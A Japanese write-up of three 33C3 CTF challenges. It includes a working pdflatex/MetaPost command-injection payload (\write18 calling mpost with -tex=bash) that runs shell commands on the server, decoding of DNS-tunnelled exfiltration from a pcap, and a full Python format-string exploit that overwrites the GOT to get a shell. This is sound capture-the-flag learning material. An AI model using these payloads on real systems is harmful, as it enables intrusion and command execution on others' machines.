33C3 CTF 供養(Writeup)
33C3 CTFに参加。325ptで140位。
pdfmaker (misc 75)
接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。
$ nc 78.46.224.91 24242 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect. > help Available commands: ?, help, create, show, compile. Type 'help COMMAND' to get information about the specific command. > help create Create a file. Syntax: create TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) The created file will have the name NAME.TYPE > help show Shows the content of a file. Syntax: show TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) > help compile Compiles a tex file with the help of pdflatex. Syntax: compile NAME NAME: name of the file (without type ending)
つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。
$ nc 78.46.224.91 24242 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect. > create mp x File created. Type the content now and finish it by sending a line containing only '\q'. verbatimtex \documentclass{minimal}\begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \end{document} bye \q Written to x.mp. > create tex x File created. Type the content now and finish it by sending a line containing only '\q'. \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"} \end{document} \q Written to x.tex. > compile x fatal: DVI generation failedsystem returned with code 768 This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex) restricted \write18 enabled. entering extended mode (/tmp/839520918753730933/x.tex LaTeX2e <2016/03/31> patch level 3 Babel <3.9r> and hyphenation patterns for 3 language(s) loaded. (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls Document Class: article 2014/09/29 v1.4h Standard LaTeX document class (/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2) (./x.mp >> x.mp >> x.mpx ! ! Unable to read mpx file. l.3 etex beginfig (1) label(btex blah etex, origin); Transcript written on x.log. No file x.aux. (./x.aux) ) No pages of output. Transcript written on x.log. > show log pwn total 24 drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:48 . drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 .. -rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030 -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 makempx.log -rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:48 mpJJ7pdo.tex -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 pwn.log -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.aux -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.log -rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp -rw-rw-r-- 1 pdfmaker pdfmaker 130 Dec 28 03:48 x.tex > create tex x File created. Type the content now and finish it by sending a line containing only '\q'. \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"} \end{document} \q Written to x.tex. > compile x fatal: DVI generation failedsystem returned with code 768 This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex) restricted \write18 enabled. entering extended mode (/tmp/839520918753730933/x.tex LaTeX2e <2016/03/31> patch level 3 Babel <3.9r> and hyphenation patterns for 3 language(s) loaded. (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls Document Class: article 2014/09/29 v1.4h Standard LaTeX document class (/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2) (./x.mp >> x.mp >> x.mpx ! ! Unable to read mpx file. l.3 etex beginfig (1) label(btex blah etex, origin); Transcript written on x.log. (./x.aux) ) No pages of output. Transcript written on x.log. > show log pwn total 24 drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:49 . drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 .. -rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030 -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 makempx.log -rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:49 mp9opGQm.tex -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 pwn.log -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.aux -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.log -rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp -rw-rw-r-- 1 pdfmaker pdfmaker 158 Dec 28 03:49 x.tex 33C3_pdflatex_1s_t0t4lly_s3cur3! > exit
exfil (Forensics 100)
pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。
とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。
$ tshark -r dump.pcap >dump.txt $ head dump.txt 1 0.000000 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 2 0.002197 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 3 0.203334 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de 4 0.204610 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 5 0.405026 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 6 0.406228 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 7 0.613703 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 8 0.614944 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 9 0.821849 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de 10 0.823065 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。
import sys import re import base64 def decode_b32(s): s = s.upper() for i in range(10): try: return base64.b32decode(s) except: s += b'=' raise ValueError('Invalid base32') lastdata = None for line in sys.stdin: m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line) if not m: continue data = m.group(1).replace('.', '') if data == lastdata: continue lastdata = data data = decode_b32(data)[6:] if data: print repr(data)
リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。
$ grep -v CNAME dump.txt | python test.py >request.txt $ head request.txt 'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n' 'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root root 4.0K Dec 17 13:06 ..\n263' '1209 -rw------- 1 fpetry fpetry 42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry 220 Dec 17 13:06 .bash_l' 'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry 33 Dec 17 13:24 .les' 'shst\n2627664 -rw-r--r-- 1 fpetry fpetry 675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr' 'et.docx\n2631218 -rw------- 1 fpetry fpetry 908 Dec 17 13:21 .viminfo\n' "gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING" ": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg" "' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: " 'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8' $ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt $ head response.txt 'id\n' 'ls -alih\n' 'cat > key << EOF\n' '-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2' 'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j' 'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6' 'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD' 'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At' 'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9' 'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'
上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。
$ sha1sum secret.docx.gpg key 700216568a3819f12808bf7fffd108a0aa36acca secret.docx.gpg 6c5309445f7857fd66b8c88128d550f8bf4c5263 key $ gpg --import key gpg: directory `/home/user/.gnupg' created gpg: new configuration file `/home/user/.gnupg/gpg.conf' created gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/home/user/.gnupg/secring.gpg' created gpg: keyring `/home/user/.gnupg/pubring.gpg' created gpg: /home/user/.gnupg/trustdb.gpg: trustdb created gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported gpg: key D0D8161F: secret key imported gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed gpg: Total number processed: 2 gpg: imported: 1 (RSA: 1) gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 $ gpg --decrypt --output secret.docx secret.docx.gpg gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11 "operator from hell <team@kitctf.de>" $ file secret.docx secret.docx: Microsoft Word 2007+
ESPR (Pwn 150)
問題文の写真から、概ね次のような処理をしていることが推測できる。
char buf[0x100]; while (1) { gets(buf); sleep(1); printf(buf); }
Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。
from minipwn import * s = socket.create_connection(('78.46.224.86', 1337)) s.settimeout(3) sendline(s, '%'+str(0x601000)+'c%40$ln') try: while True: print len(s.recv(8192)) except socket.timeout: pass sendline(s, '%66$p') print s.recv(8192), sendline(s, '%66$s') data = s.recv(8192) got_addr = u64(data.ljust(8, '\x00')) print hex(got_addr) for i in xrange(0x08, 0x60, 0x8): sendline(s, '%'+str(i)+'c%40$hhn') s.recv(8192) sendline(s, '%66$p') print s.recv(8192), sendline(s, '%66$s') data = s.recv(8192) got_addr = u64(data.ljust(8, '\x00')) print hex(got_addr)
$ python espr.py (snip) 0x601000 0x600e20 0x601008 0x7f3fb55e1168 0x601010 0x7f3fb53d28f0 0x601018 0x7f3fb4e48550 0x601020 0x7f3fb4e62030 0x601028 0x7f3fb4ebe640 0x601030 Traceback (most recent call last): File "espr.py", line 23, in <module> data = s.recv(8192) socket.timeout: timed out
アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。
次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。
$ ./find printf 550 gets 030 sleep 640 http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64) archive-glibc (id libc6_2.24-3ubuntu2_amd64) $ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system printf 0000000000056550 system 00000000000456d0
GOTのprintfをsystemに書き換え、system("/bin/sh")
を呼ぶことでシェルを起動できる。
from minipwn import * s = socket.create_connection(('78.46.224.86', 1337)) s.settimeout(3) sendline(s, '%'+str(0x601018)+'c%40$ln') try: while True: print len(s.recv(8192)) except socket.timeout: pass sendline(s, '%66$p') print s.recv(8192) sendline(s, '%66$s') data = s.recv(8192) libc_printf = u64(data.ljust(8, '\x00')) print "[+] libc_printf = %x" % libc_printf libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0 print "[+] libc_system = %x" % libc_system n = libc_system & 0xFFFFFFFF print "[+] n = %x" % n sendline(s, '%'+str(n)+'c%66$n') try: while True: print len(s.recv(8192)) except socket.timeout: pass print "[+] got a shell!" sendline(s, '/bin/sh\x00') interact(s)
$ python espr.py (snip) 0x601018 [+] libc_printf = 7f900de94550 [+] libc_system = 7f900de836d0 [+] n = de836d0 (snip) [+] got a shell! id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls espr flag run.sh cat flag 33C3_f1rst_tshirt_challenge?!
所感
他に解きたかった問題は以下。
- babyfengshui (Pwn 150)
- The 0x90s called (Pwn 150)
- rec (Pwn 200)
- someta1 (Reversing 250)
- try (Web 150)
- pay2win (Web 200)